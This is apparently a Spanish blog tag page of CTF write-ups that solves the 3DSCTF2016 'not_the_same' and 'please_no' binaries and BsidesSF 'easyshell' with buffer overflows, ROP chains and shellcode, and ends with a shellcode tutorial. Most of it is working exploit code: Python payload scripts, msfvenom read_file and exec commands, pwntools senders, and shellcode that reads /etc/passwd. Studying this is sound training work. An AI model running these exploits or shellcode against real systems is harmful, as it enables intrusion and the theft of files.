Posts match “ exploiting ” tag:

3DSCTF2016 - Solucion-not_the_same

Published on:

Con el strings ves que hay un flag.txt y una variable fl4g

strings not_the_same | grep flag
flag.txt
strings not_the_same | grep fl4g
fl4g

También hay una función interesante:

objdump -M intel -S not_the_same | grep secret
080489a0 <get_secret>:

Creamos el fichero flag.txt con el texto que queramos dentro.

cat flag.txt 
FlagInventada

"Peta" con un offset de 45.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

>>> r
Starting program: /root/Documents/3DSCTF/not_the_same 
b0r4 v3r s3 7u 4h o b1ch4o m3m0... Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
Traceback (most recent call last):
  File "<string>", line 764, in lines
  File "<string>", line 127, in run
gdb.error: No function contains program counter for selected frame.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "<string>", line 249, in on_stop
  File "<string>", line 300, in build
  File "<string>", line 782, in lines
gdb.MemoryError: Cannot access memory at address 0x41356241
0x41356241 in ?? ()

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 0x41356241
[*] Exact match at offset 45

Pones un breakpoint en el main *0x08048a00, después de llamar a la función gets

0x080489e0   33 sym.main     |           ; var int local_fh @ esp+0xf
0x080489e0   sub esp, 0x3c
0x080489e3   mov dword [esp], str.b
0x080489ea   call sym.__printf
0x080489ef   lea eax, dword [esp +
0x080489f3   mov dword [esp], eax
0x080489f6   call sym.gets
0x080489fb   xor eax, eax
0x080489fd   add esp, 0x3c
0x08048a00   ret

Introducir el offset ('A'*45)

python -c "print 'A'*45"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Apuntas a la funcion get_secret en $esp:

set {int}0xbffff34c = 0x080489a0 (siendo 0xbffff34c el valor de $esp, cambiar si no coincide)

Pones un breakpoint en get_secret *0x080489de, después de haber cargado el valor del fichero flag.txt en la posición de memoria fl4g:

disas get_secret:
Dump of assembler code for function get_secret:
   0x080489a0 <+0>:   push   esi
   0x080489a1 <+1>:   sub    esp,0x18
   0x080489a4 <+4>:   mov    DWORD PTR [esp+0x4],0x80cf91b
   0x080489ac <+12>:  mov    DWORD PTR [esp],0x80bc2a8
   0x080489b3 <+19>:  call   0x804f710 <fopen>
   0x080489b8 <+24>:  mov    esi,eax
   0x080489ba <+26>:  mov    DWORD PTR [esp+0x8],esi
   0x080489be <+30>:  mov    DWORD PTR [esp+0x4],0x2d
   0x080489c6 <+38>:  mov    DWORD PTR [esp],0x80eca2d
   0x080489cd <+45>:  call   0x804f4c0 <fgets>
   0x080489d2 <+50>:  mov    DWORD PTR [esp],esi
   0x080489d5 <+53>:  call   0x804f190 <fclose>
   0x080489da <+58>:  add    esp,0x18
   0x080489dd <+61>:  pop    esi
   0x080489de <+62>:  ret    
End of assembler dump.

0x80eca2d <fl4g>: 0x67616c46  0x65766e49  0x6461746e  0x00000a6f

Llamas al printf y pasas la dirección de fl4g:

set {int}0xbffff350 = 0x0804f0a0 --> Llamada a printf
set {int}0xbffff354 = 0x0804e660 --> Aquí podría ponerse la llamada a la función exit para que sea más elegante (0x0804e660)
set {int}0xbffff358 = 0x080eca2d --> Dirección de fl4g
    
disas printf
Dump of assembler code for function printf:
   0x0804f0a0 <+0>:   sub    esp,0xc
   0x0804f0a3 <+3>:   lea    eax,[esp+0x14]
   0x0804f0a7 <+7>:   sub    esp,0x4
   0x0804f0aa <+10>:  push   eax
   0x0804f0ab <+11>:  push   DWORD PTR [esp+0x18] --> Aquí es donde coge el valor de la variable fl4g
   0x0804f0af <+15>:  push   DWORD PTR ds:0x80eb4b8
   0x0804f0b5 <+21>:  call   0x807f280 <vfprintf>
   0x0804f0ba <+26>:  add    esp,0x1c
   0x0804f0bd <+29>:  ret    
End of assembler dump.

disas exit
Dump of assembler code for function exit:
   0x0804e660 <+0>:   sub    esp,0xc
   0x0804e663 <+3>:   push   0x1
   0x0804e665 <+5>:   push   0x1
   0x0804e667 <+7>:   push   0x80eb070
   0x0804e66c <+12>:  push   DWORD PTR [esp+0x1c]
   0x0804e670 <+16>:  call   0x804e540 <__run_exit_handlers>
End of assembler dump.

En la pila tiene que quedar algo como esto antes de llamar al ret de get_secret:

>>> x/32xw $esp-16
0xbffff340: 0x41414141  0x41414141  0x41414141  0x080eb00c
0xbffff350: 0x0804f0a0  0x0804e660  0x080eca2d  0xbffff374
0xbffff360: 0x00000000  0x00000001  0xbffff404  0x080489e0
0xbffff370: 0x00000000  0x0804818c  0x080eb00c  0x49656e69

El payload quedaría así gráficamente:

Pila Función
45*A offset
0x080489a0 get_secret
0x0804f0a0 printf
0x0804e660 exit
0x080eca2d addr fl4g

Archivo final para explotar:

#!/usr/bin/env python

# Archivo pwn_not_the_same.py


# offset

buf='A'*45
# get_secret

retn1 = "\xa0\x89\x04\x08"
# printf

retn2 = "\xa0\xf0\x04\x08"
# exit

retn3 = "\x60\xe6\x04\x08"
# fl4g address

retn4 = "\x2d\xca\x0e\x08"

print buf+retn1+retn2+retn3+retn4

# Fin fichero pwn_not_the_same

Se prueba con:

python pwn_not_the_same.py > file.txt
./not_the_same < file.txt

Notas varias

  Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x08048a00 <main+32>
breakpoint already hit 1 time
3       breakpoint     keep y   0x080489de <get_secret+62>
   

x/32xw $esp-16
0xbffff340: 0x41414141  0x41414141  0x41414141  0x080eb00c
0xbffff350: 0x0804f0a0  0x080eca2d  0x080eca2d  0xbffff374
0xbffff360: 0x00000000  0x00000001  0xbffff404  0x080489e0
0xbffff370: 0x00000000  0x0804818c  0x080eb00c  0x49656e69

3DSCTF2016 - Solucion-please_no

Published on:

[EN]
This time the programmer did a better job to hid his flag. But the problem still: It’s vulnerable. Can you obtain the flag?
Send to 209.190.1.131 9003
NOW WITH SECRET BONUS!

[PT-BR]
Dessa vez o programador caprichou um pouco mais na hora de esconder sua flag. O problema que continua vulneravel. Consegue extrair a flag?
Envie para 209.190.1.131 9003
AGORA COM BONUS SECRETO!

Aquí hay soluciones que me han ayudado a entender como había que resolver este reto:
https://ctftime.org/task/3258

Solución

Es un archivo elf de 32 bits que "peta" al leer una cadena, el clásico buffer overflow. Para ver el offset, primero creamos un patrón con metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Luego lo ejecutamos en gdb:

gdb -q ./please-no
Voltron loaded.
Reading symbols from ./please-no...(no debugging symbols found)...done.
>>> dashboard -output /dev/pts/1
>>> r
Starting program: /root/Documents/3DSCTF/please-no 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
Traceback (most recent call last):
File "<string>", line 764, in lines
File "<string>", line 127, in run
gdb.error: No function contains program counter for selected frame.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<string>", line 249, in on_stop
File "<string>", line 300, in build
File "<string>", line 782, in lines
gdb.MemoryError: Cannot access memory at address 0x37614136
0x37614136 in ?? ()
>>> quit

Y por último calculamos el offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 0x37614136
[*] Exact match at offset 20

Echemos un vistazo a las protecciones que tiene el binario:

gdb -q ./please-no
Reading symbols from ./please-no...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY  : disabled
FORTIFY : disabled
NX  : ENABLED
PIE : disabled
RELRO   : Partial

Como no podemos usar la pila para ejecutar un shellcode (NX enabled), echemos un vistazo al código:

objdump -D intel -S please-no

No tenemos una clásica función main, parece que nuestras funciones están escondidas en la sección .text. Si lo analizamos con radare2 sí nos detecta la función main:

main ();
; var int local_8h @ esp+0x8
; DATA XREF from 0x08048497 (entry0)
0x08048710  ; sub esp, 0x1c
0x08048713  ; lea eax, dword [esp + local_8h]
0x08048717  ; mov dword [esp], eax
0x0804871a  ; call sym.imp.gets
0x0804871f  ; xor eax, eax
0x08048721  ; add esp, 0x1c
0x08048724  ret<br>

Se puede ver claramente una llamada a la función gets (call sym.imp.gets).

080483f0 <gets@plt>:
80483f0:    ff 25 10 a0 04 08   jmp DWORD PTR ds:0x804a010
80483f6:    68 08 00 00 00      push    0x8
80483fb:    e9 d0 ff ff ff      jmp 80483d

También hay otras funciones interesantes:

08048410 <strcat@plt>:
8048410:    ff 25 18 a0 04 08   jmp DWORD PTR ds:0x804a018
8048416:    68 18 00 00 00      push    0x18
804841b:    e9 b0 ff ff ff      jmp 80483d0 <printf@plt-0x10>

08048440 <fopen@plt>:
8048440:    ff 25 24 a0 04 08   jmp DWORD PTR ds:0x804a024
8048446:    68 30 00 00 00      push    0x30
804844b:    e9 80 ff ff ff      jmp 80483d0 <printf@plt-0x10>

Vemos que hay una línea en .text que llama a gets, este puede ser un buen sitio para poner un breakpoint.

804871a:   e8 d1 fc ff ff      call    80483f0 <gets@plt>
804871f:    31 c0           xor eax,eax
8048721:    83 c4 1c        add esp,0x1c
8048724:    c3          ret
>>> br *0x804871f
Breakpoint 1 at 0x804871f
python -c "print 'A'*20"
AAAAAAAAAAAAAAAAAAAA

Ejecutamos el programa y vemos el estado de la pila después de meter 20 "A":

>>> r
Starting program: /root/Documents/3DSCTF/please-no 
AAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804871f in ?? ()
>>> x/32xw $esp
0xbffff350  0xbffff358  0x0804824c  0x41414141  0x41414141
0xbffff360  0x41414141  0x41414141  0x41414141  0xb7e13200 <--
0xbffff370  0x00000001  0xbffff404  0xbffff40c  0x00000000

La flecha, que corresponde con la posición de la pila 0xbffff36c, indica el valor que tendremos que sobrescribir para controlar el EIP.
Recordar que aún nos quedan por ejecutar estas dos instrucciones de gets antes de ejecutar el return:

804871f:   31 c0           xor eax,eax
8048721:    83 c4 1c        add esp,0x1c
8048724:    c3          ret

Ya sabemos como controlar el EIP, pero ¿hacia donde lo apuntamos?
En el código de la sección .text aparece algo interesante:

8048690:   83 ec 1c                sub    esp,0x1c
8048693:    81 7c 24 20 41 0c 0b    cmp    DWORD PTR [esp+0x20],0x1b0b0c41   <--- Comparación sospechosa
804869a:    1b 
804869b:    75 2d                   jne    80486ca <fgetc@plt+0x26a>         <--- Me echa si no coincide con 0x1b0b0c41
804869d:    81 7c 24 24 4e 37 13    cmp    DWORD PTR [esp+0x24],0xae13374e   <--- Otra comparación sospechosa ¿dónde quiere ir?
80486a4:    ae 
80486a5:    75 23                   jne    80486ca <fgetc@plt+0x26a>         <--- Me echa al mismo sitio si no coincide con 0xae13374e
80486a7:    c7 44 24 16 6d 66 6c    mov    DWORD PTR [esp+0x16],0x616c666d   <--- ¿Mete en la pila el nombre del fichero? 0x616c666d='alfm'
80486ae:    61 
80486af:    66 c7 44 24 1a 67 00    mov    WORD PTR [esp+0x1a],0x67          <--- ¿Y luego una 'g'? ¿'mflag' nombre del fichero? ¿Extensión?
80486b6:    8d 44 24 16             lea    eax,[esp+0x16]                    <--- Carga la posición de memoria donde está 'mflag'
80486ba:    89 44 24 04             mov    DWORD PTR [esp+0x4],eax           <--- Nombre del fichero como arg2 de strcat
80486be:    c7 04 24 39 a0 04 08    mov    DWORD PTR [esp],0x804a039         <--- Puntero como arg1 donde guardar resultado
80486c5:    e8 46 fd ff ff          call   8048410 <strcat@plt>              <--- Copia el nombre de fichero en memoria
80486ca:    83 c4 1c                add    esp,0x1c
80486cd:    c3                      ret    

Vamos a apuntar el EIP a 0x8048690 y además añadimos los dos valores para superar la doble comparación (0x1b0b0c41 y 0xae13374e).
Podemos tener la tentación de saltar directamente a 0x80486a7 pero entonces no se ejecutaría el 'sub esp,0x1c' que es básico para preparar la llamada a strcat.

set {int}0xbffff36c = 0x08048690

Una vez ejecutada la instrucción 0x8048690 la pila quedaría así:

>>> x/32xw $esp
0xbffff354: 0x0804824c  0x41414141  0x41414141  0x41414141
0xbffff364: 0x41414141  0x41414141  0x08048690  0x00000001
0xbffff374: 0xbffff404  0xbffff40c  0x00000000  0x00000000

Para asegurarnos de que cumpla las dos comparaciones habrá que poner esos valores en su lugar correspondiente en la pila([esp+0x20]=0xbffff374 y [esp+0x24]=0xbffff378):

set {int}0xbffff374 = 0x1b0b0c41
set {int}0xbffff378 = 0xae13374e

Ya tenemos pila con los valores deseados para que llegue hasta la función strcat:

>>> x/32xw $esp
0xbffff354: 0x0804824c  0x41414141  0x41414141  0x41414141
0xbffff364: 0x41414141  0x41414141  0x08048690  0x00000001
0xbffff374: 0x1b0b0c41  0xae13374e  0x00000000  0x00000000

Estado de la pila antes de llamar a strcat:

>>> x/32xw $esp
0xbffff354: 0x0804a039  0xbffff36a  0x41414141  0x41414141
0xbffff364: 0x41414141  0x666d4141  0x0067616c  0x00000001
0xbffff374: 0x1b0b0c41  0xae13374e  0x00000000  0x00000000

En strcat copia a la posición 0x0804a039 el nombre del fichero 'mflag'

x/32xw 0x0804a039
0x804a039:  0x616c666d  0x00000067  0x00000000  0x00000000

x/32xw $esp
0xbffff354: 0x0804a039  0xbffff36a  0x41414141  0x41414141
0xbffff364: 0x41414141  0x666d4141  0x0067616c  0x00000001
0xbffff374: 0x1b0b0c41  0xae13374e  0x00000000  0x00000000

Después de restar 0x1c a $esp:

0xbffff370:    0x00000001  0x1b0b0c41  0xae13374e  0x00000000
0xbffff380: 0x00000000  0x00000000  0xb7fae000  0xb7fffc04

Ahora tenemos que ingeniarnoslas para apuntar a otro sitio el EIP y seguir con la ejecucción del programa, pero... ¿hacia donde?
Cuando modificamos las variables de la pila para llegar a strcat, fue a partir de la posición 0xbffff36c

0xbffff36c:    0x08048690  0x00000001  0x1b0b0c41  0xae13374e

La posición 0xbffff370 no la tocamos en su momento, pero ahora es necesario modificarla pues es nuestra posición de retorno.
Aquí tenemos que ir a una posición de memoria que salte las dos posiciones de memoria de las dos condiciones para ir al strcat y poder seguir ejecutando el programa.
Para eso hacemos ROP, apuntando a un sitio en memoria donde haya un 'gadget' o código parecido a esto:

add  esp,0x8
pop    esi
ret    

Se pueden buscar 'gadgets' con gdb-peda, con ropeme o rp-lin-x86. Encontramos el 'gadget' en 0x8048601:

set {int}0xbffff370 = 0x8048601
0xbffff370:    0x08048601  0x1b0b0c41  0xae13374e  0x00000000
0xbffff380: 0x00000000  0x00000000  0xb7fae000  0xb7fffc04

Una vez ejecutado nuestro gadget, tenemos el ret en la posición 0xbffff380. ¿Dónde vamos ahora para que nos muestre el flag?
A la hora de preparar nuestro ataque la posición 0xbffff37c no es importante por lo que vamos a poner cualquier valor: 0xdeadbeef.
Como ya hemos visto antes, sabemos el nombre del archivo 'mflag', pero desconocemos la extensión del mismo.
Buscando en .text encontramos la extensión:

8048650:   83 ec 1c                sub    esp,0x1c
8048653:    81 7c 24 20 37 13 b0    cmp    DWORD PTR [esp+0x20],0xb0b01337  <--- Comparación sospechosa
804865a:    b0 
804865b:    75 23                   jne    8048680 <fgetc@plt+0x220>
804865d:    c7 44 24 16 2e 74 65    mov    DWORD PTR [esp+0x16],0x7865742e  <--- ¿Extensión? 7865742e=xet.
8048664:    78 
8048665:    66 c7 44 24 1a 74 00    mov    WORD PTR [esp+0x1a],0x74         <--- ¿Otro caracter de la extensión? 0x74=t
804866c:    8d 44 24 16             lea    eax,[esp+0x16]                   <--- Carga addr de la extensión (.text)
8048670:    89 44 24 04             mov    DWORD PTR [esp+0x4],eax
8048674:    c7 04 24 39 a0 04 08    mov    DWORD PTR [esp],0x804a039
804867b:    e8 90 fd ff ff          call   8048410 <strcat@plt>             <--- Copia la extensión en memoria
8048680:    83 c4 1c                add    esp,0x1c
8048683:    c3                      ret    

¿Y esto no se podía haber visto con 'strings'? No salen los nombres completos, sale algo parecido:

strings please-no | grep fla
mflaf
strings please-no | grep .tex
.texf

Parece claro que tenemos que enviar la ejecucción a 0x8048650 y además meter el valor de la comparación (0xb0b01337):

set {int}0xbffff380 = 0x8048650
set {int}0xbffff388 = 0xb0b01337

La posición 0xbffff384 la usaremos más tarde cuando vuelva de llamar a strcat y saltarnos el 'gap' de la comparación.
Después de llamar a strcat tenemos el nombre y extensión del archivo en 0x804a039

>>> x/32xw 0x804a039
0x804a039:  0x616c666d  0x65742e67  0x00007478  0x00000000

Ahora hay que volver a buscar otro 'gadget' para saltarnos la comparación del valor y dirigir EIP en 0xbffff38c.
Para eso necesitamos algo como lo que hay en la posición 0x80483c9 (pop ebx; ret)

set {int}0xbffff384 = 0x80483c9

¿Qué nos queda ahora? Lo siguiente será leer el fichero y que nos muestre el flag y salir del programa.
Mirando en .text encontramos lo que queremos:

 8048590:  56                      push   esi
 8048591:   83 ec 08                sub    esp,0x8
 8048594:   c7 44 24 04 d0 87 04    mov    DWORD PTR [esp+0x4],0x80487d0
 804859b:   08 
 804859c:   c7 04 24 39 a0 04 08    mov    DWORD PTR [esp],0x804a039   <--- Posición de memoria donde está el nombre del fichero
 80485a3:   e8 98 fe ff ff          call   8048440 <fopen@plt>         <--- Abre el fichero
 80485a8:   89 c6                   mov    esi,eax
 80485aa:   85 f6                   test   esi,esi
 80485ac:   74 53                   je     8048601 <fgetc@plt+0x1a1>
 80485ae:   89 34 24                mov    DWORD PTR [esp],esi
 80485b1:   e8 aa fe ff ff          call   8048460 <fgetc@plt>         <--- Lee el fichero
 80485b6:   0f b6 c8                movzx  ecx,al
 80485b9:   81 f9 ff 00 00 00       cmp    ecx,0xff
 80485bf:   74 2c                   je     80485ed <fgetc@plt+0x18d>
 80485c1:   0f be c8                movsx  ecx,al
 80485c4:   66 66 66 2e 0f 1f 84    data16 data16 nop WORD PTR cs:[eax+eax*1+0x0]
 80485cb:   00 00 00 00 00 
 80485d0:   89 0c 24                mov    DWORD PTR [esp],ecx
 80485d3:   e8 78 fe ff ff          call   8048450 <putchar@plt>
 80485d8:   89 34 24                mov    DWORD PTR [esp],esi
 80485db:   e8 80 fe ff ff          call   8048460 <fgetc@plt>
 80485e0:   0f be c8                movsx  ecx,al
 80485e3:   0f b6 c0                movzx  eax,al
 80485e6:   3d ff 00 00 00          cmp    eax,0xff
 80485eb:   75 e3                   jne    80485d0 <fgetc@plt+0x170>
 80485ed:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 80485f4:   e8 57 fe ff ff          call   8048450 <putchar@plt>       <--- Muestra por pantalla el contenido
 80485f9:   89 34 24                mov    DWORD PTR [esp],esi
 80485fc:   e8 ff fd ff ff          call   8048400 <fclose@plt>        <--- Cierra el fichero
 8048601:   83 c4 08                add    esp,0x8
 8048604:   5e                      pop    esi
 8048605:   c3                      ret 

Apuntamos el EIP hacia 0x8048590:

set {int}0xbffff38c = 0x8048590

Ahora solo nos queda apuntar a exit:

08048420 <exit@plt>:
8048420:    ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
8048426:    68 20 00 00 00          push   0x20
804842b:    e9 a0 ff ff ff          jmp    80483d0 <printf@plt-0x10>
set {int}0xbffff390 = 0x8048420

Python final para explotar:

#!/usr/bin/python

# Fichero pwn_please_no.py 

# Exploit ROP


 
from struct import pack
 
binary = "please-no"
junk = "A" * 20

rop = pack('<I', 0x8048690)   
rop += pack('<I', 0x8048601)    
rop += pack('<I', 0x1B0B0C41)   
rop += pack('<I', 0xAE13374E)   
rop += pack('<I', 0xdeadbeef)   
rop += pack('<I', 0x8048650)   
rop += pack('<I', 0x80483c9)  
rop += pack('<I', 0xB0B01337)   
rop += pack('<I', 0x8048590)
rop += pack('<I', 0x08048420)

payload = junk + rop 
print payload

# Fin fichero pwn_please_no.py

Breakpoints para seguir la ejecucción

>>> i br
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x0804871f 
    breakpoint already hit 1 time
3       breakpoint     keep y   0x080486ca 
    breakpoint already hit 1 time
4       breakpoint     keep y   0x08048680 
    breakpoint already hit 1 time
6       breakpoint     keep y   0x08048605 
    breakpoint already hit 1 time

BsidesSFCTF - PWN: easyshell32-64

Published on:
Tags: exploiting

Enunciado

Te daban el código fuente de dos ELF, uno de 32 bits y otro de 64 bits, y un servicio corriendo en un servidor donde tenías que enviar un exploit remoto para leer el archivo /home/ctf/flag.txt. No había ni que controlar el EIP, me imagino que por eso puntuaban tan poco.

Solución

Ambos casos se solucionan de la misma manera, creando un shellcode para leer archivos. Sin embargo, para el caso de 32 bits tendremos la inestimable ayuda de metasploit y usaremos el payload de msfvenom de metasploit que te permite leer un archivo. En el caso de 64 bits te puedes programar en ensamblador un shellcode o bien puedes usar uno de los que hay en shell-storm: http://shell-storm.org/shellcode/files/shellcode-878.php

easyshell32

Creamos el payload con metasploit:

msfvenom -p linux/x86/read_file PATH=/home/ctf/flag.txt -n 16 -b '\x00\x20\x0d\x0a' -f python

Si queremos ver todos los payloads disponibles para cada arquitectura:

msfvenom -l payload

Y así generamos nuestro cutre script que nos da el valor del flag:

#!/usr/bin/env python

import sys
from pwn import *

buf =  ""
buf += "\x2f\x98\x4b\xfc\x41\x9b\x93\x27\x41\xf5\x91\x40\x98"
buf += "\x9b\xd6\x90\xdd\xc2\xb8\xca\x62\x2e\xa4\xd9\x74\x24"
buf += "\xf4\x5b\x33\xc9\xb1\x15\x83\xc3\x04\x31\x43\x13\x03"
buf += "\x89\x71\xcc\x51\xe6\x40\xa8\x9f\xf8\xac\xc8\xc4\xc9"
buf += "\x65\x05\x7a\xa0\xb5\x2e\x78\xb2\x39\x4f\xf6\x55\xb0"
buf += "\xb6\xb2\x99\xd3\x48\xc3\x54\x53\xc1\x01\xde\x50\xd2"
buf += "\x85\x1e\xe2\xd3\x85\x1e\x14\x19\x05\xa6\x15\xa1\x06"
buf += "\xd6\xae\xa1\x06\xd6\xd0\x6c\x86\x3e\x15\x91\x78\x41"
buf += "\xb9\x06\xe8\xd0\xa3\xf9\x95\x5e\x4a\x29\x3c\xf2\xf3"
buf += "\x52\xee\x7e\x8c\xe8\xee"


addr = "easyshell-f7113918.ctf.bsidessf.net"
conn = remote(addr, 5252)

conn.send(buf)
conn.interactive()
conn.close()

FLAG:c832b461f8772b49f45e6c3906645adb

easyshell64

En este caso echamos mano de shell-storm.org, ya que metasploit no tiene un payload para leer archvios en 64 bits. En concreto cogemos el payload http://shell-storm.org/shellcode/files/shellcode-878.php

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

Este payload está diseñado para leer /etc/passwd, lo que tendremos que hacer es quitar los carácteres en hexadecimal que corresponden a esa cadena (situados al final del payload) y sustituirlos por las de nuestro archivo a leer /home/ctf/flag.txt. Por lo tanto el cutre script queda de la siguiente manera:

#!/usr/bin/env python

import sys
from pwn import *

buf = "\xeb\x3f\x5f\x80\x77\x12\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x63\x74\x66\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x41"

addr = "easyshell64-efb598a6.ctf.bsidessf.net"
conn = remote(addr, 5253)

conn.send(buf)
conn.interactive()
conn.close()

Si lo ejecutamos:

python otro.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to easyshell64-efb598a6.ctf.bsidessf.net on port 5253: Done
[*] Switching to interactive mode
Send me stuff!! We're 64 bits!
FLAG:e8864c381822ec7cf97f5516745411f5
$  [*] Got EOF while reading in interactive

Luego descubrí que hay otra manera más sencilla usando el payload de 64 bits de metasploit que te permite ejecutar un comando:

msfvenom -p linux/x64/exec CMD="cat /home/ctf/flag.txt" -n 16 -b '\x00\x20\x0d\x0a' -f python

Teoría básica de shellcodes

¿Qué son estos shellcodes?

El shellcode no es más que los opcodes de las instrucciones de lenguaje ensamblador. Hagamos un ejemplo con el clásico "Hola mundo" en ensamblador:

BITS32
global _start

section .text

_start:
    jmp MESSAGE      ; 1) lets jump to MESSAGE

GOBACK:
    mov eax, 0x4
    mov ebx, 0x1
    pop ecx          ; 3) we are poping into `ecx`, now we have the
                     ; address of "Hello, World!\r\n" 
    mov edx, 0xF
    int 0x80

    mov eax, 0x1
    mov ebx, 0x0
    int 0x80

MESSAGE:
    call GOBACK       ; 2) we are going back, since we used `call`, that means
                      ; the return address, which is in this case the address 
                      ; of "Hello, World!\r\n", is pushed into the stack.
    db "Hello, World!", 0dh, 0ah

En este código se utiliza el clásico jmp-call para dejar en la pila la dirección de memoria de la variable a la que queremos acceder. En este caso "Hello, World!". Está explicado este método en los comentarios.

¿Cómo se genera?

Una vez que tenemos el código ensamblador, lo compilamos y creamos el ejecutable:

nasm -f elf hello.asm
ld -o hello hello.o

./hello 
Hello, World!

Ahora para sacar el conjuto de opcodes de las instrucciones de ensamblador bastaría con ejecutar los siguiente:

objdump -M intel -d hello

hello:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1e                   jmp    8048080 <MESSAGE>    ---> De aquí cogeríamos '\xeb\x1e'

08048062 <GOBACK>:
 8048062:   b8 04 00 00 00          mov    eax,0x4              ---> De aquí cogeríamos '\xb8\x04\x00\x00\x00'
 8048067:   bb 01 00 00 00          mov    ebx,0x1              ---> De aquí cogeríamos '\xbb\x01\x00\x00\x00'
 804806c:   59                      pop    ecx                  ---> De aquí cogeríamos '\x59'
 804806d:   ba 0f 00 00 00          mov    edx,0xf              ---> Y así sucesivamente...
 8048072:   cd 80                   int    0x80                 
 8048074:   b8 01 00 00 00          mov    eax,0x1
 8048079:   bb 00 00 00 00          mov    ebx,0x0
 804807e:   cd 80                   int    0x80

08048080 <MESSAGE>:
 8048080:   e8 dd ff ff ff          call   8048062 <GOBACK>
 8048085:   48                      dec    eax                      <--- A partir de aquí hasta el final, estás instrucciones no se ejecutan.
 8048086:   65 6c                   gs ins BYTE PTR es:[edi],dx     <--- En realidad estas instrucciones es como interpreta objdump los caracteres de la variable "Hello, World!"
 8048088:   6c                      ins    BYTE PTR es:[edi],dx     <--- Son la traducción a ensamblador de las valores ascii de la cadena.
 8048089:   6f                      outs   dx,DWORD PTR ds:[esi]
 804808a:   2c 20                   sub    al,0x20
 804808c:   57                      push   edi
 804808d:   6f                      outs   dx,DWORD PTR ds:[esi]
 804808e:   72 6c                   jb     80480fc <MESSAGE+0x7c>
 8048090:   64                      fs
 8048091:   21                      .byte 0x21
 8048092:   0d                      .byte 0xd
 8048093:   0a                      .byte 0xa

Si quisieramos inyectar nuestro bytecode o shellcode en un programa de C, sólo tendríamos que ir colocando por orden nuestro shellcode en el array code y probar si funciona. Es importante hacer el array constante para que se guarde en una dirección de memoria que tenga permiso de ejecucción, sino daría un "Segmentaion fault".

Recordad también que para inyectar nuestro shellcode en otro programa no debe contener ninguna sección .data, porque sino ambos programas tendrían sus propias secciones .data diferenciadas entrando en conflicto y provocando un "Segmentaion fault". No habría manera de inyectar el bytecode en la pila y ejecutarlo. Para evitar la sección .data en nuestro shellcode se utiliza la técnica jmp-call explicada anteriormente.

const char code[] = 

    "\xe9\x1e\x00\x00\x00"  //          jmp    8048083 <MESSAGE>
    "\xb8\x04\x00\x00\x00"  //          mov    $0x4,%eax
    "\xbb\x01\x00\x00\x00"  //          mov    $0x1,%ebx
    "\x59"                  //          pop    %ecx
    "\xba\x0f\x00\x00\x00"  //          mov    $0xf,%edx
    "\xcd\x80"              //          int    $0x80
    "\xb8\x01\x00\x00\x00"  //          mov    $0x1,%eax
    "\xbb\x00\x00\x00\x00"  //          mov    $0x0,%ebx
    "\xcd\x80"              //          int    $0x80
    "\xe8\xdd\xff\xff\xff"  //          call   8048065 <GOBACK>
    "Hello wolrd!\r\n";     // OR       "\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
